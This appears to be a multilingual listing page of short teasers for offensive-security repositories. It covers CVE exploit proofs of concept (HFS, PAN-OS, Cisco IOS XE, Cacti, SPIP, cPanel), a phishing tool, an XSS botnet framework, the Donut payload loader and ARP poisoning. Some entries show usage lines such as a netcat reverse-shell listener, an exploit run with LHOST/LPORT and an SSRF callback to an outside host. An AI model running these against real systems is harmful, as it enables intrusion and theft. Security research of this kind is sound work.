rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 يحتوي هذا المستودع على شرح مفصّل وPoC عملي لثغرة تنفيذ الأوامر عن بُعد Remote Command Execution في خادم الملفات Rejetto HTTP File Server HFS 2.3.x. الإعداد: أنشئ مستمعًا عبر netcat. root@kitploit: nc -lnvp 1234 غيّر عنوان IP الخاص بالمهاجم...

CVE-2024-9474

Palo Alto PAN-OS Exploit PoC - CVE-2024-0012 & CVE-2024-9474 Ce script est une preuve de concept PoC d'exploitation pour les vulnérabilités trouvées dans Palo Alto PAN-OS CVE-2024-0012 & CVE-2024-9474. Il peut être utilisé soit pour analyser une liste d'URLs à la recherche de la vulnérabilité, so...

cve-2023-20198-poc-cisco

CVE-2023-20198-poc CVE-2023-20198 は、Cisco IOS XE ソフトウェアの Web UI 機能における深刻な脆弱性であり、認証されていないリモート攻撃者が影響を受けるシステム上で特権レベル 15 のアカウントを作成し、デバイスを完全に制御することを可能にします。 この脆弱性は主に、Web UI 機能におけるパス解析の不適切な処理に起因します。攻撃者は巧妙に細工した HTTP リクエストを使用し、二重 URL エンコーディングを利用して Nginx のパスフィルタリングメカニズムをバイパスし、/webuiwsmahttp...

content-packs

Packs de contenu pour Eventum Projets de générateurs prêts à l'emploi pour Eventum produisant des événements synthétiques réalistes imitant de véritables sources de données SIEM. Chaque générateur produit du JSON compatible ECS qui peut être ingéré directement dans Elasticsearch, OpenSearch ou...

bucky

Bucky أداة لتعداد معرف حساب S3 واكتشاف الدلاء Buckets عند وجود دلو S3 واحد يمكن الوصول إليه، يستخرج Bucky معرف حساب AWS المكون من 12 رقمًا الذي يملكه، ثم يكتشف دلاء إضافية تابعة لنفس الحساب عن طريق تخمين أسماء الدلاء باستخدام قائمة كلمات — كل ذلك في أمر واحد. ما يفعله 1. يُعدّد معرف الحساب — يستخ...

SeekYou

Soutenir le développement Si ce projet vous aide dans votre travail, soutenez la maintenance continue et les nouvelles fonctionnalités. Portefeuille de don ETH 0x11282eE5726B3370c8B480e321b3B2aA13686582 Scannez le code QR ou copiez l'adresse du portefeuille ci-dessus. SeekYou Renseignement unifié...

thief_raccoon

Thief Raccoon - Outil de Phishing de Connexion Thief Raccoon est un outil conçu à des fins éducatives pour démontrer comment les attaques de phishing peuvent être menées sur divers systèmes d'exploitation. Cet outil vise à sensibiliser aux menaces de cybersécurité et à aider les utilisateurs à...

CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder Exemple : root@kitploit: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Utilisez Interact.sh ou Burp Collaborator pour recevoir le callback. 📋 Exemple de sortie root@kitploit: Fetching nonce from target... Sending SSRF payload to...

PutScanner

🔍 ماسح أدلة PUT أداة اختبار اختراق تحدد أدلة الويب القابلة للكتابة عبر أسلوب HTTP PUT، مصممة خصيصًا لاكتشاف CVE-2025-24813 رفع ملفات تعسفي في Apache Tomcat. 📌 الميزات معالجة ذكية للبروتوكول : يكتشف HTTPS/HTTP تلقائيًا مع آلية احتياطية فحوصات شاملة : يختبر جميع أدلة Tomcat الشائعة تحقق من مرحلتين ...

donut

الإصدار الحالي: v1.1 جدول المحتويات 1. مقدمة 2. كيف يعمل 3. البناء 4. الاستخدام 5. المشاريع الفرعية 6. التطوير باستخدام دونات 7. الأسئلة والمناقشات 8. إخلاء المسؤولية 1. مقدمة دونات Donut هو كود مستقل عن الموقع يمكنه تنفيذ ملفات VBScript وJScript وEXE وDLL وتجميعات dotNET في الذاكرة. يمكن تحميل...

ARP-poisoning-packet-sniffer

ARP Poisoning - Packet Sniffer Deux scripts ont été écrits pour effectuer un empoisonnement ARP poisoning sur des ordinateurs cibles situés sur le même réseau et vous permettre de surveiller le trafic réseau. Le script arpspoofy.py est utilisé pour effectuer un empoisonnement ARP sur un ordinateu...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 Cet exploit est une version modifiée du script original de @FredBrave et adaptée par @arthurcortesr et @alv-david. Utilisation/Exemples root@kitploit: python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X Résultats attendus...

cpanel-sessionscribe

SessionScribe - CVE-2026-41940 RCE critique non authentifié dans cPanel & WHM. Quatre requêtes HTTP forgent une session root via une injection CRLF dans le champ mot de passe d'une session de pré-authentification. Aucune authentification, aucune précondition, tous les tiers supportés affectés...

XSScope

Allez au-delà de l'alerte XSScope est l'un des frameworks GUI les plus avancés pour les attaques XSS côté client. Il peut effectuer différentes attaques XSS et injections HTML en temps réel. Fonctionnalités Effectue une ou plusieurs attaques de botnet XSS. Chaque victime affectée par la charge...

ghost-checker

ghost-checker اختبر ما إذا كنت معرضًا لثغرة ghost CVE-2015-0235. كل الفضل يعود لفريق Qualys للأمان الاستخدام root@kitploit: /tmp/ghost-checker master$ make cc -o ghost ghost.c /tmp/ghost-checker master$ ./ghost not vulnerable /tmp/ghost-checker master$ make clean rm ghost الشكر فريق أمان Qualys...

pentestagent

PentestAgent Tests de pénétration par IA https://github.com/user-attachments/assets/a67db2b5-672a-43df-b709-149c8eaee975 Prérequis Python 3.10+ Clé API pour OpenAI, Anthropic, ou autre fournisseur supporté par LiteLLM Installation root@kitploit: Clone git clone...

CVE-2023-21839-metasploit-scanner

CVE-2023-21839-metasploit-scanner الاستخدام git clone https://github.com/kurehalin/CVE-2023-21839-metasploit-scanner cd CVE-2023-21839-metasploit-scanner mkdir -p /.msf4/modules/auxiliary/scanner/http cp weblogiciioprce.py /.msf4/modules/auxiliary/scanner/http chmod +x...

CVE-2024-7954-RCE

الوصف المكون الإضافي porteplume المستخدم في SPIP قبل الإصدارات 4.30-alpha2 و4.2.13 و4.1.16 معرض لثغرة تنفيذ تعليمات برمجية عشوائية. يمكن لمهاجم عن بعد وغير مصادق تنفيذ PHP تعسفية كمستخدم SPIP عن طريق إرسال طلب HTTP مُصمم. الاستغلال إثبات المفهوم root@kitploit: POST...

Subrake

Subrake 🦅 ماسح ضوئي وأداة DNS آلية نقل المنطقة، الاستيلاء على منطقة DNS، الاستيلاء على النطاق الفرعي. الخلفية 📈 بدأت Subrake كمشروع شخصي خاص بي لتعداد النطاقات الفرعية، وهي الآن أداة فحص DNS مفصلة يمكنها مساعدتك في تحديد نقل المنطقة Zone Transfers والاستيلاء على منطقة DNS DNS Zone Takeover...

URLextractor

مستخرج الروابط جمع المعلومات واستكشاف المواقع الاستخدام: ./extractor http://www.hackthissite.org/ نصائح: Colorex: إضافة ألوان للمخرجات pip install colorex واستخدمها كالتالي ./extractor http://www.hackthissite.org/ | colorex -g "INFO" -r "ALERT" Tldextract: يُستخدم بواسطة وظيفة dnsenumeration pip...